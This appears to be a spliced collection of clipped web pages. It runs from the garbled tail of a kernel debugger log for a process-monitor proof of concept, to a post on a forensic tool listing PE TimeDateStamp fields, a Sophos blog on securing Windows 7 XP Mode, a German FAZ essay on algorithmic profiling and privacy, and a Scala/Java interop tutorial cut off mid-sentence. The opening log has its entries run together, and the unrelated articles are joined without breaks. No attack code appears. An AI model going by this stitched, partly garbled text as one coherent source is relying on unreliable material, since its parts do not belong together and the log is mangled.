writerdmsrstack : 0000000012345678rdmsrstack : 000000000119B44Crdmsrstack :
0000000000000003rdmsrstack : 000000000119B441rdmsrstack :
00000000BADF00D0@VirtualMemoryCallback 00000000000009E0 00000000000009E0
\[thread : FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8
0000000076E2031D \[000007F9D5282D6A\]rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443 > @Epilogue 0000000000C93000
2000 attempt to writerdmsrstack : 0000000000000000@VirtualMemoryCallback
00000000000009E0 00000000000009E0 \[thread : FFFFFA8007CD0700\] > I**.**
@Prologue 000000000070E2F8 0000000076E23E97 \[000007F9D5282E1A\]rdmsrstack :
000000000119B45B > @Epilogue 00000000011994A1 0 easy RE+ attemptrdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0rdmsrstack : 000000000119B443rdmsrstack :
0000000000000000rdmsrstack : 000000000119B45Brdmsrstack :
00000000BADF00D0ZwRaiseException 000000007490288Drdmsrstack :
000000000119B443rdmsrstack : 0000000000000000rdmsrstack :
000000000119B45Brdmsrstack : 00000000BADF00D0rdmsrstack :
000000000119B443rdmsrstack : 0000000000000000rdmsrstack :
000000000119B45Brdmsrstack : 00000000BADF00D0rdmsrstack :
000000000119B443rdmsrstack : 0000000000000000rdmsrstack :
000000000119B45Brdmsrstack : 00000000BADF00D0rdmsrstack :
000000000119B443rdmsrstack : 0000000000000000rdmsrstack :
000000000119B45Brdmsrstack : 00000000BADF00D0rdmsrstack :
000000000119B45Drdmsrstack : 0000000000000000rdmsrstack :
000000000119B450rdmsrstack : 00000000BADF00D0\*\*\*\*\*\*\*\*\*\* >> in
filter**.** @VirtualMemoryCallback 00000000000009E0 00000000000009E0 \[thread
: FFFFFA8007CD0700\] > I**.** @Prologue 000000000070E3A8 0000000076E2031D
\[000007F9D5282D6A\] > @Epilogue 0000000000C95000 1000 attempt to
writeZwRaiseException 0000000000C95FF8\*\*\*\*\*\*\*\*\*\* >>
\*\*\*\*\*\*\*\*\*\* caught AV as expected.The context is partially valid**.**
Only x86 user-mode context is available.WOW64 breakpoint - code 4000001f
\(first chance\)First chance exceptions are reported before any exception
handling**.** This exception may be expected and handled**.**
00000000\`74959bfc cc int 332**.** kd:x86> gThe context is partially
valid**.** Only x86 user-mode context is available.The context is partially
valid**.** Only x86 user-mode context is available.ZwRaiseException
0000000074959BFA\*\*\*\*\*\*\*\*\*\* << finishThe context is partially
valid**.** Only x86 user-mode context is available.WOW64 breakpoint - code
4000001f \(first chance\)First chance exceptions are reported before any
exception handling**.** This exception may be expected and handled**.**
00000000\`74959bfc cc int 332**.** kd:x86> gThe context is partially
valid**.** Only x86 user-mode context is available**.** The context is
partially valid. Only x86 user-mode context is available**.**
@ThreadNotifyRoutine 9e0 FFFFFA80087B2940 exit @ProcessNotifyRoutineEx 9e0
FFFFFA80087B2940 exit  
---|---  
.. so first step is done**\!** -> PoC of monitor.

Next part will be implementing callbacks and introduce communication with
concept of python based fuzzer to demonstrate control over fuzzed process**.**

\[ SRC's available on github  feel free to mail me\]

<img src='img/Temp2_1790.jpg' alt='Fork me on GitHub' /> ****

# waliedassar: PE TimeDateStamp Viewer

**Created:**| _2/24/2014 12:19:32 AM_  
---|---  
**Updated:**| _2/24/2014 12:19:32 AM_  
**Author:**| __  
**Tags:**| _auditing_  
  

# PE TimeDateStamp Viewer****

In this this post, i will share with you a tiny tool that i wrote to discover
all occurrences of _**TimeDateStamps**_ in a PE executable**.** The tool
simply traverses the _**PE header**_ and specifically the following
structures/fields:  
  
_**1\)**_ The "_**TimeDateStamp**_ " field of the "_**\_IMAGE\_FILE\_HEADER**_
" structure**.**  
  
This is the most notorious field that is always a target for both malware
authors and forensic guys**.**  
  
_**N.B.**_ Certain versions of _**Delphi**_ linkers always emit a fixed
_**TimeDateStamp**_ of _**0x2A425E19**_ , _**Sat Jun 20 01:22:17 1992**_**.**
In this case you should not rely on this field and continue looking in other
fields**.**  
  
_**2\)**_ The "_**TimeDateStamp**_ " field of the
"_**\_IMAGE\_EXPORT\_DIRECTORY**_ " structure**.**  
  
It is usually the same as or very close to the "_**TimeDateStamp**_ " field of
the the "_**\_IMAGE\_FILE\_HEADER**_ " structure"**.**  
  
_**N.B**.****_ Not all linkers fill this field, but Microsoft Visual Studio
linkers do fill it for both _**DLL's**_ and _**EXE's**_**.**  
  
_**3\)**_ The "_**TimeDateStamp**_ " field of the
"_**\_IMAGE\_IMPORT\_DESCRIPTOR**_ " structure**.**  
  
Unlike what the name implies, this field is a bit useless if you are trying to
determine when the executable was built**.** It is _**-1**_ if the
executable/dll is bound \(see \#8\) and zero if not**.** So, it is not
implemented in my tool.  
  
_**4\)**_ The "_**TimeDateStamp**_ " field of the
"_**\_IMAGE\_RESOURCE\_DIRECTORY**_ " structure**.**  
  
Usually _**Microsoft Visual Studio linkers**_ don't set it \(I have tested
with linker versions of _**6**.** 0**_, **_8.0_** , _**9.0**_ , and _**10**.**
0**_\).  
  
_**Borland C**_ and **_Delphi_** set this field for the main
_**\_IMAGE\_RESOURCE\_DIRECTORY**_ and its _**subdirectories**_**.**  
  
Sometimes spoofers forget to forge this field for _**subdirectories**.****_  
  
_**5\)**_ The "_**TimeDateStamp**_ " of the "_**\_IMAGE\_DEBUG\_DIRECTORY**_ "
structures**.**  
  
_**Microsoft Visual Studio linkers**_ emitting debug info**.** in the final PE
always set this field. Spoofers may forge the field in the first
"_**\_IMAGE\_DEBUG\_DIRECTORY**_ " structure and forget the following
ones**.**  
  
_**N.B.**_ Debug info as pointed to by Debug Data Directory is an array of
"_**\_IMAGE\_DEBUG\_DIRECTORY**_ " structures, each representing debug info of
different type e.g. _**COFF**_ , _**CodeView**_ , etc**.**  
  
_**6\)**_ If "_**\_IMAGE\_DEBUG\_DIRECTORY "**_ has the "_**Type**_ " field
set to _**0x2**_ \(_**IMAGE\_DEBUG\_TYPE\_CODEVIEW**_\), then by following the
"_**PointerToRawData**_ " field we can find another occurrence of
_**TimeDateStamp**_ \( only if the _**PDB format**_ is _**PDB 2**.** 0**_ i.e
when "_**Signature**_ " field is set to "_**NB10**_ " \)

<img src='img/Temp2_10708.png' />

**7\)** The "_**TimeDateStamp**_ " field of the
"_**\_IMAGE\_LOAD\_CONFIG\_DIRECTORY**_ " structure**.**  
  
I have not seen it being used before**.** However, it is implemented in the
tool**.**  
  
_**8\)**_ The "_**TimeDateStamp**_ " field of the
"_**\_IMAGE\_BOUND\_IMPORT\_DESCRIPTOR**_ " structures**.**  
  
It is the _**TimeDateStamp**_ of the _**DLL**_ that the executable is bound
to**.** We can't use this field to know when the executable was build, but we
can use it to determine on which Windows version/Service pack the file was
built/bound**.** It is not implemented in the tool**.**  
  
The tool has a very simple command line**.** See below**.**

<img src='img/Temp2_10707.png' />

You download the tool from here **.** For any bugs or suggestions, please
don't hesitate to leave me a comment or contant me @waleedassar **.******

# Windows 7 Security - 5 things you can do to secure XP Mode | Chester Wisniewski's Blog
**Created:**| _9/6/2009 3:30:05 PM_  
---|---  
**Updated:**| _9/6/2009 3:30:11 PM_  
**Author:**| __  
**Tags:**| _windows security_  
  

## Windows 7 Security - 5 things you can do to secure XP Mode

<img src='img/Temp2_9554.png' alt='XP Mode Setup' />  
After a busy summer, I finally got around to spending some quality time with
Windows 7 "XP Mode" beta on the RTM version of Windows 7.

Sophos CTO Richard Jacobs commented on XP Mode's lack of management included
in the base operating system on Graham's blog. Today I am going to cover
security in XP mode as a user, excluding my comments on management.

During setup XP Mode prompts you to determine what password you would like to
apply to the XPMUser account that the Virtual PC instance will run under. It
of course offers to store these credentials for you, and recommends this
action. It is very important that you **do not** use the same password here as
you use for administrator or your user account. If you carefully review the
help Microsoft warns: "Any application that runs on the host in the context of
the user logged on to the host can access the credentials stored for Windows
XP Mode."

If you were to have a malware infection or spyware on your host, this makes it
more trivial than usual to compromise your system. Be sure to set a separate
secure password even if you choose for Virtual PC to remember it out of
convenience.

As setup proceeds Microsoft prompts you to enable automatic updating and
reminds you of the importance of maintaining your Windows XP machine no
different than a real computer. I was pleased to see this, although there is
no mention of installing a real firewall, or anti-virus protection. The SP3
.vhd Microsoft provides is reasonably up to date, and patched through Windows
Update in a matter of minutes on my test workstation.

<img src='img/Temp2_9552.png' />My computer reached the desktop around 5
minutes after beginning the install, quite impressive. The first thing to grab
my attention was the Windows XP Security Center warning me to install anti-
virus. Excellent. I immediately installed the latest Sophos Anti-Virus for
Windows from our support page.

Performance was good, and some applications I have that would not play nicely
with Windows 7 installed easily. On initial inspection it appears to be like
any other virtual machine of Windows XP, but Microsoft has integrated some
convenient functions to make XP Mode more seamless. Some of these, however,
may have serious security implications.  
<img src='img/Temp2_9553.png' alt='XP Mode settings' />

As you can see in the screenshot above, XP Mode defaults to mapping all of
your host OS drives to the guest. For the sake of convenience this is nice,
however I do not see why I shouldn't just use the integrated cut and paste to
move things back and forth, and spare myself the risk of infections passing
themselves back to Windows 7 from my Windows XP, which doesn't have nearly as
strong a security posture.

In summary, if you choose to install Windows XP Mode consider the following:

  1. Choose a secure password that is not the same as other host accounts for XPMUser
  2. Enable automatic updating \(Windows Update\)
  3. Install security software the same as any other host on your network
  4. If possible disable drive auto-mapping under integration features to further isolate the virtual environment
  5. If browsing in XP Mode be sure to update your Flash player, Acrobat Reader, and other plugins when you update your host OS.

Posted on September 5th, 2009 by Chester Wisniewski, Sophos  
Filed under: Windows 7

# Ein Echtzeit-Experiment: Der Mensch wird zum Datensatz - Hintergründe -
Feuilleton - FAZ.NET

**Created:**| _1/15/2010 1:42:52 PM_  
---|---  
**Updated:**| _1/15/2010 1:43:00 PM_  
**Author:**| __  
**Tags:**| _bookmark ccc_  
  

# Der Mensch wird zum Datensatz

Von Frank Rieger

15\. Januar 2010 Wenn es ein Phänomen wie das absolute Böse überhaupt gibt,
dann besteht es darin, einen Menschen wie ein Ding zu behandeln“, schrieb John
Brunner in seinem prophetischen Werk „Der Schockwellenreiter“. Das war 1975.
Fünf Jahre später war „Rasterfahndung“ das Wort des Jahres. Richtig
funktioniert hat Horst Herolds Vision der staatlichen Digitalbegleitung „von
der Wiege bis zur Bahre“ nie - bisher jedenfalls. Die Algorithmen waren zu
schlecht, die Prozessoren zu langsam, die Datenbasis zu dünn, der Widerstand
zu groß, das Verfassungsgericht auf der Hut.

Seit einigen Jahren hat sich die Lage grundlegend geändert, auch außerhalb der
Computerkatakomben des BKA. Es gibt jetzt genügend digital erfasste
Lebensäußerungen, Kommunikation, Bilder, Mobiltelefon-Bewegungsinformationen,
Einkaufsentscheidungen, täglich werden es mehr. Getrieben vom reichlich
verfügbaren Datendünger, sprießen die mathematischen und statistischen
Methoden zur Auflösung der Persönlichkeit in klassifizierbare Einzelaspekte zu
ungeahnter Güte.

In dem Film „Matrix” begibt sich der Hacker Neo in die virtuelle Welt, um
herauszufinden, was die Matrix ist - im realen Internet wird von jedem Nutzer
eine Matrize gezogen, die seine Person ersetzen soll

Immer mehr Facetten des Lebens finden online oder von Computern erfasst statt,
werden zugänglich und gespeichert. Dank drastischer Verbilligung von Speicher-
und Verarbeitungskapazitäten werden Algorithmen praktikabel, die in großen
Datenmengen von Millionen Nutzern noch die entlegensten Zusammenhänge
aufspüren können: Death-Metal-Fans über fünfunddreißig Jahren, die sich für
Spanien-Reiseführer interessieren, bestellen überdurchschnittlich oft
Babywindeln und Schnuller online.

**Das einzigartige Menschenwesen**

Aus der Sicht solcher Typisierungsalgorithmen sind wir in unserer
Individualität nur ein statistisch mehr oder weniger häufiges Bündel von
Merkmalen und Eigenschaften, das sich in Handlungen und Äußerungen
materialisiert. Je mehr Daten es über uns alle gibt, desto klarer wird der
digitale Schattenriss des Einzelnen. Moderne Algorithmen funktionieren umso
besser, je mehr Basisdaten sie bekommen. Wenn mehr Exemplare eines
spezifischen Verhaltensmusters im Datenbestand sind, dann lässt es sich
genauer charakterisieren und quantifizieren.

Zum Thema

  * F.A.Z.-Spezial: Jahresfrage auf Edge.org
  * FAZ.NET-Spezial: Wie hat das Internet Ihr denken verändert?
  * Das Jahr 2010: Die Echtzeit wartet schon

Je spezieller die Frage - etwa ob jemand mit seiner Arbeitssituation
unzufrieden ist und bald kündigen wird -, desto präziser lassen sich die
dazugehörigen Datenpunkte benennen. Potentielle Jobsuchende benutzen
spezifische Wörter, besuchen bestimmte Websites, kaufen Ratgeberbücher, sind
öfter krank. Die Muster sind nicht scharf umrissen, es sind eher statistische
Häufungen. Aus den Daten über Zehntausende Unzufriedene lässt sich problemlos
ein Orakel-Algorithmus erstellen, der für eine Person die
Kündigungswahrscheinlichkeit berechnet. Google macht es für seine Mitarbeiter
schon.

Wir werden abgebildet als eine Kombination von kleinen Merkmalsschubladen, die
zusammengenommen etwa so viel mit unserem wirklichen Wesen zu tun haben wie
eine Landkarte mit der Landschaft. Diese Persönlichkeitslandkarten sind mal
schärfer, mal unschärfer, mal zeigen sie nur grobe Umrisse von Interessen, oft
sind sie erschreckend präzise und genau. Wie eine Landkarte können sie aber
immer nur quantifizierbare, benennbare Eigenschaften aufzeigen. Hier gibt es
eine Straße, einen Fluss, ein Dorf. Dass es dort wunderschön ist, zeigt die
Landkarte nicht. Genauso wenig wird hinter dem schubladisierten
Persönlichkeitsabbild das einzigartige Menschenwesen sichtbar.

**Der Trend geht zur Konsolidierung**

Die Profile sind nützlich, um uns gezielt zum Kauf von mehr nutzlosem Tand
oder interessanteren Büchern zu verleiten, uns effizienter zu verwalten und
zukünftiges Verhalten zu prognostizieren. Und um Menschen unter präventive
Überwachung zu stellen, deren Profil sich bedenklich dem von Straftätern
nähert. Dabei geht es nicht um hundertprozentige Präzision der Vorhersage.
Wahrscheinlichkeiten, Neigungen, Tendenzen, Zugehörigkeit zu Kohorten sind die
Währungen der algorithmischen Orakel. Wenn ein Kaufvorschlag nicht passt,
ignoriert ihn der Kunde. Wenn das Sondereinsatzkommando morgens um sechs die
falsche Tür eintritt, entschuldigt sich der Polizeipräsident vielleicht und
schickt einen Blumenstrauß. Manchmal nicht mal das.

Die Geheimdienste haben das Arbeitsprinzip der Wahrscheinlichkeitsverbesserung
schon vor Jahrzehnten entdeckt. Sie sind seit Beginn des Digitalzeitalters mit
einer wachsenden Datenflut aus strategischen Abhöroperationen und angezapften
Datenbanken konfrontiert. Mit den etwas unscharfen, aber wirkungsvollen
Methoden der automatischen Analyse versuchen sie, die Wahrscheinlichkeit zu
erhöhen, dass ihre menschlichen Analysten vorwiegend interessante Gespräche
und Nachrichten auswerten. Spracherkennung, Stichwortsuche, semantische
Analysen und statistisch-mathematische Modelle sind das tägliche Brot der
Geheimen. Ihre Methoden inspirieren Start-ups, aber auch den
durchschnittlichen Strafverfolger. Firmen setzen oft auf das sogenannte
Crowdsourcing - die letzten paar Prozent Identifizierungsarbeit erledigen
gelangweilte Internetnutzer. Die können dann etwa Nachhilfe für die
Gesichtserkennung auf den Partybildern geben.

Noch sind die verschiedenen Datenquellen einigermaßen getrennt. Das Wissen um
Zugehörigkeit des Einzelnen zu den verschiedenen Schubladen, die seine
Persönlichkeit aus algorithmischer Sicht ausmachen, befindet sich auf
verschiedenen Computern, bei Behörden, bei Firmen. Einige, wie Facebook und
Google, kennen weitaus mehr dieser Fragmente als andere. Der Trend geht aber
zur Konsolidierung, ohne dass die Kartellbehörden auch nur ahnen, was
passiert.

**Der Umbau der sozialen Normen**

Interessant ist, dass die gerade so modischen „Privatsphäre ist
vorbei“-Behauptungen vorwiegend von Vertretern der Firmen kommen, die vom
Datenhorten am meisten profitieren. Es sind die Chefs von Facebook und Google,
von Oracle und Sun. Unternehmen, die mehr Geld verdienen, wenn die Nutzer mehr
von sich preisgeben, also mit Informationen über sich selbst für die
vordergründig kostenlosen Angebote bezahlen. Im schnöden Profitinteresse
wollen sie uns einreden, dass es selbstverständlich ist, jedes Lebensdetail
digital zu publizieren. Der Unternehmenswert bemisst sich nach der Zahl der
Nutzer und ihrer Informationsfreigebigkeit. Das Erzeugen von Gruppendruck ist
die Kernkompetenz sozialer Netzwerke. Die Frage nach den Folgen für die
Gesellschaft hat eine ähnliche Dimension wie die Frage nach der Verantwortung
der Kasinobanker für die verzockte Zukunft ganzer Länder: Einige wenige
betreiben zur kurzfristigen Gewinnmaximierung den Umbau der sozialen Normen,
mit unabsehbaren Folgen.

Eine Prognose der künftigen Entwicklung lautet, dass wir toleranter werden.
Gleich ob kompromittierende Fotos, unmoralische Hobbys oder seltsame
Gewohnheiten - sobald wir alles von allen sehen, müssen wir damit leben. Doch
die moralischen Maßstäbe eines bayerischen Bergdorfes lassen sich unter den
Bedingungen vollständiger Transparenz von allen für alle nicht
aufrechterhalten.

Wir müssen uns ernsthaft der Frage stellen, ob wir in einer Gesellschaft leben
wollen, in der kleine und größere Übertretungen von moralischen und
rechtlichen Normen nicht mehr verborgen bleiben. Wenn Übertretungen einmal
aufgezeichnet sind, ist die Versuchung groß, sie auch - vorzugsweise
automatisiert - zu ahnden. Ist ein solches Leben auszuhalten, erstrebenswert,
menschenwürdig? Bisher wird nicht jedesmal, wenn jemand nachts um vier bei
roter Ampel über die leere Straße läuft, automatisch ein Strafzettel erstellt.
Bald ist das kein Problem mehr.

**Die softwaregestützte Durchregelung des Alltags**

In den Niederlanden, einem Land ohne Verfassungsgericht, wo Veränderungen
schneller und radikaler als in Deutschland geschehen, arbeitet man mit Verve
an der Umsetzung des durchdigitalisierten, störungsfreien Lebens. Staat,
Strafverfolger und große Teile der Bevölkerung finden dort eine uferlose
Maximierung der Datenbasis vollkommen in Ordnung. Mit Toleranz hat man es
lange versucht, nun schlägt das Pendel in die Gegenrichtung aus. Die Behörden
haben beschlossen, dass die vollständige Transparentmachung und Kontrolle von
Informations-, Geld- und Bewegungsströmen die Kernelemente eines modernen
Präventionsstaates sind. Die Digitalisierung der öffentlichen Verwaltung und
deren enge Verzahnung mit dem Sicherheitsapparat führen zu Methoden der
Ordnungserzwingung, die in Deutschland bisher undenkbar scheinen. Seit
neuestem gibt es präventive, nicht verweigerbare gemeinsame „Hausbesuche“
durch Behörden und Polizei in allen Wohnungen ganzer Stadtviertel.

Und wenn sich keine justiziablen Beweise für Verfehlungen finden lassen, nur
Anhaltspunkte vielleicht, gibt es noch das „Projekt Gegenwirken“.
Normalerweise werden all die kleinen Unannehmlichkeiten, die ein Staat dem
Bürger zumutet, per Zufall oder algorithmisch anhand von hoffentlich halbwegs
objektiven, geheimgehaltenen Kriterien gleichmäßig verteilt. Wer jedoch ins
Visier von „Gegenwirken“ gerät, hat plötzlich dauernd eine Steuerprüfung,
jeder Behördengang wird zum Spießrutenlauf, dank eines nicht einsehbaren
„Vorsicht\!“-Zeichens in den Datensätzen. Hygienekontrolle und
Brandschutzinspektion kommen so oft wie möglich, die Parkzettelverteiler
kommen jeden Tag. Für den Betroffenen gibt es keine Möglichkeit zur effektiven
Gegenwehr. Von außen betrachtet, hat er einfach Pech. Sein Leben wird zur
Hölle, und die ausführenden Bediensteten wissen oft nicht, dass sie die
Dämonen sind. Sie folgen nur den Anweisungen, die aus dem Computer fallen.
Dass das „Gegenwirken“-Opfer nicht der Zufall ausgewählt hat, sondern
vielleicht ein spezieller Algorithmus, der bestimmte Verhaltensmuster als
problematisch identifiziert hat, ist für sie nicht ersichtlich. Sie machen nur
ihren Job und führen Befehle aus.

Die softwaregestützte Durchregelung des Alltags, das Schwinden menschlichen
Ermessensspielraumes zugunsten algorithmisch generierter Handlungsanweisungen
findet sich überall. Die Sachbearbeiter in Unternehmen oder Ämtern führen oft
nur aus, was ihnen „die Software“ vorgibt. Sich gegen die Vorgabe zu
entscheiden ist aufwendig und anstrengend, muss gerechtfertigt werden.
Callcenter-Mitarbeiter folgen einem vorgegebenen Skript auf dem Bildschirm. Je
nach Anliegen und Reaktion des Kunden wird einer anderen Verzweigung des
Szenarios gefolgt. Es ist effizienter und gerechter so, oder?

**Eine Art Tobin-Tax auf überflüssige Daten**

Man muss genau hinsehen. Die Algorithmen, Software und Parameter werden von
Menschen gemacht - meist Berater, gemietet bei einem Consulting-Unternehmen.
Entsandt, um Sparpotentiale zu realisieren, Prozesse stromlinienförmig zu
machen und - ganz wichtig - mehr auswertbare Daten zu erzeugen. Vorschriften
werden zu Software. Der Mensch wird wie ein Ding behandelt, als Bündel von
Merkmalen und Kategorien.

Was tun? Die Erkenntnis, dass wir zu digitalen Menschenprofilen werden, ist
nicht selbstverständlich. Wir sind es gewohnt, als Individuen behandelt zu
werden. Die gesellschaftliche Debatte um das Recht des Menschen auf seine
Daten wurde zuletzt vor fünfundzwanzig Jahren geführt. Damals war vieles, was
heute üblich ist, erst schemenhaft sichtbar, als dystopische Science-Fiction-
Vision oder in angsteinflößenden Interviews mit Horst Herold. Jetzt ist es an
der Zeit, den Faden wiederaufzunehmen. Neue soziale Normen sollten einer
Gemeinschaft nicht ohne Debatte aufgezwungen werden.

Es bedarf konkreter Gegenwehr. Die Algorithmen müssen auf Datendünger-Diät
gesetzt und vergiftet werden. Im Privaten hilft digitale Selbstverteidigung.
Wir sollten alle davon ausgehen, dass jedweder Datensatz, den wir irgendwo
angeben, gegen uns verwendet wird. Sei es im Rahmen einer unerwünschten
Profilerstellung, sei es, wenn er beim nächsten Datenskandal „verlorengeht“.
Es gibt keinen guten Grund, außer in sehr eng begrenzten Fällen, überhaupt
korrekte Daten anzugeben.

Noch wichtiger ist ein nachdrückliches Eingreifen des Gesetzgebers. Dem
Erstellen massenweiser Lebensprofile aus Vorratsdatenspeicherung und privaten
Dateien durch Behörden wird hoffentlich das Verfassungsgericht einen Riegel
vorschieben. Es ist jedoch erforderlich, dass auch Unternehmen bestimmte Arten
der Persönlichkeitsprofilierung untersagt werden. Um eine neue Datenschutz-
Balance wirksam zu erzwingen, ist die Einführung einer aktiven, regelmäßigen
Mitteilungspflicht von Behörden und Unternehmen über die gespeicherten Daten
an jeden einzelnen Betroffenen notwendig. Wir nennen es den Datenbrief. Dabei
müssen nicht nur die Rohdaten mitgeteilt werden, sondern auch alle
abgeleiteten Informationen, eben die extrahierten Merkmale und Profile,
inklusive der Möglichkeit, sofort die Löschung zu verlangen. Zudem bedarf es
der persönlichen Haftung der Geschäftsführung für Datenverbrechen, sowohl bei
illegaler Weitergabe und Verarbeitung als auch bei Sicherheitsschwankungen.

Der Effekt wäre eine Art Tobin-Tax auf überflüssige Daten. Es lohnt sich dann
nur noch, Daten aufzuheben, die wirklich notwendig sind. Das zu erwartende
Gejammer der Profiteure sollte im öffentlichen Interesse geflissentlich
ignoriert werden. Der alte Einwand, dass die Unternehmen abwandern und die
Daten im Ausland verarbeiten, ist nichts weiter als ein Hinweis an den
Gesetzgeber, dem vorzubeugen sowie auf europäischer und internationaler Ebene
harte Vereinbarungen nach deutschem Vorbild durchzusetzen.

Frank Rieger ist Sprecher des Chaos Computer Clubs und technischer
Geschäftsführer einer Firma für Kommunikationssicherheit. Im Auftrag des
Bundesverfassungsgerichts hat er ein Gutachten zur Vorratsdatenspeicherung
verfasst.  
  
  
  
Text: F.A.Z.  
Bildmaterial: Cinetext

# Interop Between Java and Scala - Code Commit

**Created:**| _5/26/2011 11:53:17 AM_  
---|---  
**Updated:**| _5/26/2011 11:53:17 AM_  
**Author:**| __  
**Tags:**| _Java programming scala_  
  

## Interop Between Java and Scala

9  
Feb  
2009

Sometimes, the simplest things are the most difficult to explain. Scala’s
interoperability with Java is completely unparalleled, even including
languages like Groovy which tout their tight integration with the JVM’s
venerable standard-bearer. However, despite this fact, there is almost no
documentation \(aside from chapter 29 in _Programming in Scala_\) which shows
how this Scala/Java integration works and where it can be used. So while it
may not be the most exciting or theoretically interesting topic, I have taken
it upon myself to fill the gap.

### Classes are Classes

The first piece of knowledge you need about Scala is that Scala classes are
real JVM classes. Consider the following snippets, the first in Java:

|

[code]

    public class Person {
        public String getName() {
            return "Daniel Spiewak";
        }}
[/code]  
---|---  
…and the second in Scala:

|

[code]

    class Person {
      def getName() = "Daniel Spiewak"}
[/code]  
---|---  
Despite the very different syntax, both of these snippets will produce almost
identical bytecode when compiled. Both will result in a single file,
`Person.class`, which contains a default, no-args constructor and a public
method, `getName()`, with return type `java.lang.String`. Both classes may be
used from Scala:

|

[code]

    val p = new Person()
    p.getName()       // => "Daniel Spiewak"
[/code]  
---|---  
…and from Java:

|

[code]

    Person p = new Person();
    p.getName();      // => "Daniel Spiewak"
[/code]  
---|---  
In the case of either language, we can easily swap implementations of the
`Person` class without making any changes to the call-site. In short, you can
use Scala classes from Java \(as well as Java classes from Scala\) without
ever even knowing that they were defined within another language.

This single property is the very cornerstone of Scala’s philosophy of bytecode
translation. Wherever possible — and that being more often than not — Scala
elements are translated into bytecode which _directly_ corresponds to the
equivalent feature in Java. Scala classes equate to Java classes, methods and
fields within those classes become Java methods and fields.

This allows some pretty amazing cross-language techniques. For example, I can
extend a Java class within Scala, overriding some methods. I can in turn
extend this Scala class from within Java once again with everything working
exactly as anticipated:

|

[code]

    class MyAbstractButton extends JComponent {
      private var pushed = false
     
      def setPushed(p: Boolean) {
        pushed = p
      }
     
      def getPushed = pushed
     
      override def paintComponent(g: Graphics) {
        super.paintComponent(g)
     
        // draw a button
      }}
[/code]  
---|---  
|

[code]

    public class ProKitButton extends MyAbstractButton {
        // do something uniquely Apple-esque}
[/code]  
---|---  
### Traits are Interfaces

This is probably the one interoperability note which is the _least_ well-
known. Scala’s traits are vastly more powerful than Java’s interfaces, often
leading developers to the erroneous conclusion that they are incompatible.
Specifically, traits allow method definitions, while interfaces must be
purely-abstract. Yet, despite this significant distinction, Scala is still
able to compile traits into interfaces at the bytecode level…with some minor
enhancements.

The simplest case is when the trait only contains abstract members. For
example:

|

[code]

    trait Model {
      def value: Any}
[/code]  
---|---  
If we look at the bytecode generated by compiling this trait, we will see that
it is actually equivalent to the following Java definition:

|

[code]

    public interface Model {
        public Object value();
    }
[/code]  
---|---  
Thus, we can declare traits in Scala and implement them as interfaces in Java
classes:

|

[code]

    public class StringModel implements Model {
        public Object value() {
            return "Hello, World!";
        }}
[/code]  
---|---  
This is precisely equivalent to a Scala class which mixes-in the `Model`
trait:

|

[code]

    class StringModel extends Model {
      def value = "Hello, World!"}
[/code]  
---|---  
Things start to get a little sticky when we have method definitions within our
traits. For example, we could add a `printValue()` method to our `Model`
trait:

|

[code]

    trait Model {
      def value: Any
     
      def printValue() {
        println(value)
      }}
[/code]  
---|---  
Obviously, we can’t directly translate this into _just_ an interface;
something else will be required. Scala solves this problem by introducing an
ancillary class which contains all of the method definitions for a given
trait. Thus, when we look at the translation for our modified `Model` trait,
the result looks something like this:

|

[code]

    public interface Model extends ScalaObject {
        public Object value();
     
        public void printValue();
    }
     
    public class Model$class {
        public static void printValue(Model self) {
            System.out.println(self.value());
        }}
[/code]  
---|---  
Thus, we can get the _effect_ of Scala’s powerful mixin inheritance within
Java by implementing the `Model` trait and delegating from the `printValue()`
method to the `Model$class` implementation:

|

[code]

    public class StringModel implements Model {
        public Object value() {
            return "Hello, World!";
        }
     
        public void printValue() {
            Model$class.printValue(this);
        }
     
        // method missing here (see below)}
[/code]  
---|---  
It’s not perfect, but it allows us to use some of Scala’s more advanced trait-
based functionality from within Java. Incidentally, the above code _does_
compile without a problem. I wasn’t actually aware of this fact, but “`$`” is
a legal character in Java identifiers, allowing interaction with some of
Scala’s more interesting features.

There is, however, one little wrinkle that I’m conveniently side-stepping: the
`$tag` method. This is a method defined within the `ScalaObject` trait
designed to help optimize pattern matching. Unfortunately, it also means yet
another abstract method which must be defined when implementing Scala traits
which contain method definitions. The correct version of the `StringModel`
class from above actually looks like the following:

|

[code]

    public class StringModel implements Model {
        public Object value() {
            return "Hello, World!";
        }
     
        public void printValue() {
            Model$class.printValue(this);
        }
     
        public int $tag() {
            return 0;
        }}
[/code]  
---|---  
To be honest, I’m not sure what is the “correct” value to return from `$tag`.
In this case, `0` is just a stub, and I’m guessing a safe one since
`StringModel` is the only subtype of `Model`. Can anyone who knows more about
the Scala compiler shed some light on this issue?

### Generics are, well…Generics

Generics are \(I think\) probably the coolest and most well-done part of
Scala’s Java interop. Anyone who has more than a passing familiarity with
Scala will know that its type system is significantly more powerful than
Java’s. Some of this power comes in the form of its type parameterization,
which is vastly superior to Java’s generics. For example, type variance can be
handled at declaration-site, rather than only call-site \(as in Java\):

|

[code]

    abstract class List[+A] {
      ...
    }
[/code]  
---|---  
The `+` notation prefixing the `A` type parameter on the `List` class means
that `List` will vary covariantly with its parameter. In English, this means
that `List[String]` is a subtype of `List[Any]` \(because `String` is a
subtype of `Any`\). This is a very intuitive relationship, but one which Java
